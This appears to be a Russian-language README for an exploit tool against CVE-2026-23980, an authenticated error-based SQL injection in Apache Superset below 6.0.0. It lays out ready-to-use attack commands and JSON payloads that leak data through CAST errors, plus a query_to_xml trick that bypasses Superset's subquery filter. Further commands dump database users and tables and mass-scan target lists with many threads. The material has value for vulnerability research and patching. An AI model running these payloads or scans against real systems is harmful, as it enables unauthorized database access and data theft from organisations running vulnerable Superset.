
Эксплойт для CVE-2026-23980 — аутентифицированная SQL-инъекция на основе ошибок в Apache Superset < 6.0.0 через обход sqlExpression
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression уходит прямо в запрос. Никакой параметризации. Никакой надежды.
Apache Superset < 6.0.0 позволяет аутентифицированным пользователям с правом чтения выполнять SQL-инъекцию на основе ошибок через параметры sqlExpression или where в конечной точке /api/v1/chart/data.
Фильтр validate_adhoc_subquery() обходится с помощью XML-функций PostgreSQL (query_to_xml и др.), которые выполняют SQL как аргументы функций, невидимые для токенизатора sqlparse.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> adhoc column sqlExpression / extras.where injected
-> validate_adhoc_subquery() ОБОЙДЕН через query_to_xml()
-> сырой SQL попадает в PostgreSQL
-> CAST((...) AS INT) — ошибка раскрывает данные в ответе
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Версия базы данных
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Пользователи базы данных
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# Список таблиц
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Текущий пользователь
python3 exploit.py ... --sql "SELECT current_user"
Когда validate_adhoc_subquery() блокирует ваш запрос (обнаруживает FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
Это оборачивает запрос в query_to_xml(), который скрывает конструкцию FROM от токенизатора.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (по умолчанию) — внедряется в определение столбца:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where — внедряется в конструкцию extras.where:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
Эксплойт использует приведение типов PostgreSQL для утечки данных:
CAST((SELECT version()) AS INT)
PostgreSQL не может преобразовать строку в целое число, поэтому выдаёт ошибку:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
Утёкшее значение извлекается из сообщения об ошибке в ответе API.
Функция has_table_query() в Superset ищет FROM/JOIN для обнаружения подзапросов. Функция query_to_xml() в PostgreSQL выполняет SQL, но скрывает его как аргумент функции:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
Токенизатор видит вызов функции, а не конструкцию FROM, что позволяет обойти фильтр.
| Версия |
|---|
Этот инструмент предназначен только для авторизованных исследований в области безопасности. Используйте его исключительно против систем, на тестирование которых у вас есть явное разрешение. Автор не несёт ответственности за неправомерное использование.
| Статус |
|---|
| < 4.0.2 | Уязвима (нет денylist для XML-функций) |
| 4.0.2 | Частичное исправление (CVE-2024-39887 — добавлены некоторые XML-функции в денylist) |
| 4.1.0 | Расширенный денylist (больше XML-функций) |
| 4.1.2 | Исправлен обход безопасности на уровне строк (CVE-2025-48912) |
| 6.0.0 | Полное исправление CVE-2026-23980 |